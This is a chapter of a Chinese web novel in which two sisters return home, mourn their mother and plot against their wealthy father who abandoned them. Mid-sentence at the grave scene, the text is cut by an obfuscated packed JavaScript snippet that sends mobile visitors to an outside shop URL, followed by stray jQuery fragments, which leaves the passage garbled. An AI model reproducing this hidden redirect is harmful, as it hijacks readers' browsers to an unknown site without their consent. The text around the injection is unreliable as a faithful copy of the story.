“姐。”
黑暗中,郭乔清脆的声音响起,打断了方夏的回忆。
方夏应了声,“嗯?”
“你还没睡呢,没事,我就喊喊你。”
“这里太不隔音了,你也没睡着?”
“没睡着,回来了就想起了很多以前的事。”
“快睡吧。”
方夏闭上眼,侧过身去,迫使自己入睡。
-
半夜忽然下起雨来。
雨势不大,淅淅沥沥落着,雨淋在彩钢板上发出叮叮咚咚的声响。
方夏睡了不到三小时又醒了。
她坐起来拔了手机充电线,刷了会儿手机。
这几天她都没联系谢砚,谢砚也没联系她,两人的聊天界面一直停留在上次。
方夏盯着屏幕,突发奇想给谢砚发了个敲头的表情过去。
谢砚没回,估计睡着了。
她没等消息,在网上又搜了一遍安尔公司。
首页弹出来的第一条新闻,是集团股份变动,方夏点进去往下面翻,到两个月前一条新闻十分醒目——
【安尔集团独子方墨阳滑雪时意外坠崖,生死未卜】
方绍文唯一的儿子出事了。
两个月前,当方夏看见这个新闻时,便知道是时候该回国了,连老天都在帮她们。
方夏找人分析过方墨阳坠崖的这段视频,美国的医生结论是方墨阳生还可能性有百分之三十。
但即便侥幸存活,也极有可能遭受严重的路脑损伤,多处骨折脏器破裂,就算保住了命也会留下残疾,甚至是植物人。
方家那么有钱,即便是只有百分之一的可能性,也会救方墨阳。
方夏推测,方墨阳还没死。
但一直没有消息传出来,估计变成植物人的可能性更大。
亲子鉴定寄去方家后,方夏一直在观察安尔集团的动向。
二十六年前,方绍文回家娶了集团第二大股东的女儿。
两家结亲后,股份加起来足以撼动整个董事会的决策走向,几乎成了方家的一言堂。
外界传闻,方绍文跟夫人的感情非常好,一家三口经常去度假,每年还在一起过结婚纪念日呢。
他们真的感情好吗?
方夏不信。
如今方墨阳出事,唯一的继承人成了残疾人,除了每天身上插管子给医院不停烧钱之外,一无用处。
他们的感情还好吗?
果然,方夏终于等到了有用的信息。
方绍文的后院起火了。
陆澜知道方绍文在外面有两个私生女,坐不住开始有所行动了。
现在她就等着,方绍文主动联系她,请她们回去。
亲爱的父亲,多年未见,不知道等我们相见时,你是惊喜多,还是惊吓更多。
七点,方夏出去买了早餐回来。
郭若赖床,哭哭唧唧被郭乔从床上拽起来,穿衣服洗脸扎辫子。
郭乔没什么耐烦心,穿衣服一直穿不好就火了,扎头发的小辫也歪歪扭扭的。
方夏买了早餐回来一看郭若头顶上的冲天辫跟哭唧唧不敢出声的小脸,不由觉得好笑。
“你能不能耐心点给你闺女扎头发。”
郭乔:“姐,你给她扎吧,我不会,反正我小时候也是你给我扎的。”
这话说得没错,小时候郭芝经常发病,虽然方夏就比郭乔大一岁,但童年多是方夏照顾郭乔。
两人是世间最亲的人。
郭芝发病就打郭乔,却不打方夏。
因为她发病时还记得方绍文,怀孕乃至生下方夏的时候,她都过着幸福的日子。
但怀郭乔,生下郭乔的时候,方绍文却抛弃她跑了。
因此郭芝对郭乔的情感不一样,打她的时候一点不留情。
每当郭芝发病打郭乔的时候,方夏就会护着郭乔,帮她扛着。
每次郭芝清醒过来,知道自己做了什么,都会跟郭乔道歉。
但久而久之,郭乔长大了。
她从极度害怕郭芝变成极度厌恶,她对郭芝没有亲情,懂事后就没喊过妈。
这个家她唯一在乎的只有方夏,其次是陶映英。
如果非要排个名次的话,亲生的郭若都要排在方夏的后面,方夏是郭乔最在乎的人。
郭乔出去抽烟了。
方夏放下了早餐,去给郭若扎头发。
郭若扑进方夏的怀里撒娇,方夏温柔的安慰了她,帮她扎好了小辫。
吃早餐时,谢砚回了微信。
:这么晚没睡,失眠?
方夏放下包子回复——
:想你想的。
刚把手机放下,又弹出了新消息提醒。
:那见面?我去找你。
方夏瞥了眼,没回了。
吃完早餐,她们开车出发,去了镇上。
八年时间,外面变化大,老街的变化也不小,只是外面是越变越繁华,老街却越变越破败冷清。
街上还是跟以前一样,只是店面关了许多,也没几个人。
方夏开车来到筒子楼下,隔着挡风玻璃往楼上望了眼。
“上去吗?”
“不去了,你去吧,我等你。”
“好。”
方夏知道郭乔对这个家没有留念,不勉强她上楼,但既然来都来了,总得要上去看看的。
方夏一个人下车上了楼。
郭乔看着她的身影,楼梯间堆满了杂物,方夏绕过杂物往里走。
郭若:“妈妈,我们不去吗?”
郭乔:“不去,”
郭若:“为什么呀。”
郭乔目光望着楼梯间。
目光所见之处,昏暗的楼梯间,恍惚能看见一个幼小无助的女孩儿挣扎滚下来,身后是一个疯女人拿着木板凳大步追她,宛若恶魔。
小女孩儿从楼梯上滚下来,眼前一片模糊,想站却站不起来,她哭着往后爬。
她害怕极了,试图喊妈妈,唤回母亲的理智。
然而疯女人却追下来拿着木板凳往她身上一下又一下的砸,眼神中没有一丝母亲的慈爱,只有癫狂跟陌生。
那次,郭乔差点被郭芝打死,要不是方夏买了醋回来及时制止,郭乔或许就死了。
郭乔收回目光从包里拿出了手机,屏幕映照她的脸,眼底一片冰冷,滑动解锁后,声音又冷又轻。
“上面有怪物。”
方夏上楼简单看了眼,不到五分钟就下来了,又开车去墓前烧纸。
尽管当年郭芝遗书里说让她们把骨灰扬了就行,但方夏还是没这样做,她把郭芝跟陶映英的骨灰埋在了一起。
郭乔在一旁给陶映英点香,方夏将郭若牵过去教她喊人。
方夏:“妈,外婆这是妹的孩子,我们回来了,这么多年没来看你们,别怪我们,若若,快喊外婆祖母。”
郭若乖顺的对墓碑喊:“外婆好,祖母好。”
方夏摸了摸她的头,“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310663|198822||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
真乖,去跟妈妈一起烧纸吧。”
烧纸时,方夏断断续续在墓前讲述了她们这几年发生的事。
当年去美国,原本是方夏计划之外的,不过去了四年镀金了也好,如今回来底气也更足。
“妈,我不会放过方绍文,该得的我跟妹也一定要得到。”
-
回了京市,下午方夏接到了来自方家的电话。
打电话的人是方家的管家,听声音是个中年男人,语气很平淡。
“方先生让你们俩周末回家。”
“好,替我向我爸问好……”
“嘟嘟嘟——”
话音未落,电话就挂断了。
很明显对方压根不想听这些废话,亦或者觉得跟方夏打电话就是一种很晦气的事。
但无所谓,方夏心情还挺好的。
周末要回方家,但她好像还差点行头,想了想,她给谢砚发了一张Kelly28黑银照片。
加了两个字:喜欢。
十分钟后,谢砚也回复了两个字:地址?
:四年不见,变高冷了?
:跟你学的。
:周五请我吃饭,把包带来[玫瑰]。
:我挑餐厅?
:走了四年,不知道哪好吃,你挑吧。
:好。
聊天结束。
方夏将手机倒扣桌面,端起水杯喝了口,目光扫向电脑屏幕,是半年前的一条娱乐新闻,标题是——
【惊爆!一线花旦江清洛饭局与神秘金主密会】
配图是一张打扮靓丽的女星在饭局上跟一个穿着西装的男人喝酒的照片。
照片有些模糊了,大概是调了超远焦距拍的。
不过哪怕这张照片有些糊,方夏却还是能一眼认出跟女星一起喝酒的男人是谢砚。
她不意外。
因为这个局里其他人她也认识,坐在谢砚右手边的就是徐敬西,一整桌的人她都能叫出名字。
这是他们私下攒的局。
江清洛方夏也认识,只是没想到毕业后她进了娱乐圈。
当年在学校,她俩还是一个班的呢。
真要说起来,江清洛在谢砚他们这个圈子里排不上号。
十岁时,她的母亲带着她二婚嫁进江家,虽然也能算是江家的小姐,但没有血缘关系,江家的财产她想都不要想。
进了娱乐圈,似乎也是一条出路。
毕竟江家财产不给,但资源,江家看在她母亲的份上,还是不会缺。
所以江清洛果然出道后,在娱乐圈混的不错,出道的第一部作品就是一番女主。资源这么好,自然会被狗仔盯上,被拍到他们吃饭的照片是情理之中。
只是,方夏好奇为什么这张照片谢砚入境了,还能发得出来。
-
周四,利奥到了。
最开心的人是郭若,郭乔带着她去接机,一见到从机场走出来的男人,她就扑了上去。
“利奥!”
来人是一头褐色卷发的拉丁裔,高大的身子穿着风衣,从出口出来,乍一看还以为是超模。
利奥蹲下来单手抱起郭若,另一只手拎着包。用一口流利的中文说:“说了多少遍,要喊叔叔,想我了吗。”
郭若点头,头上的小辫儿跟着一起晃,笑起来露出一排小米牙。
“想了!”
郭乔一脸冷淡的靠在车上,没有上前的意思。利奥抱着郭若走向她,从背影看,真像父女。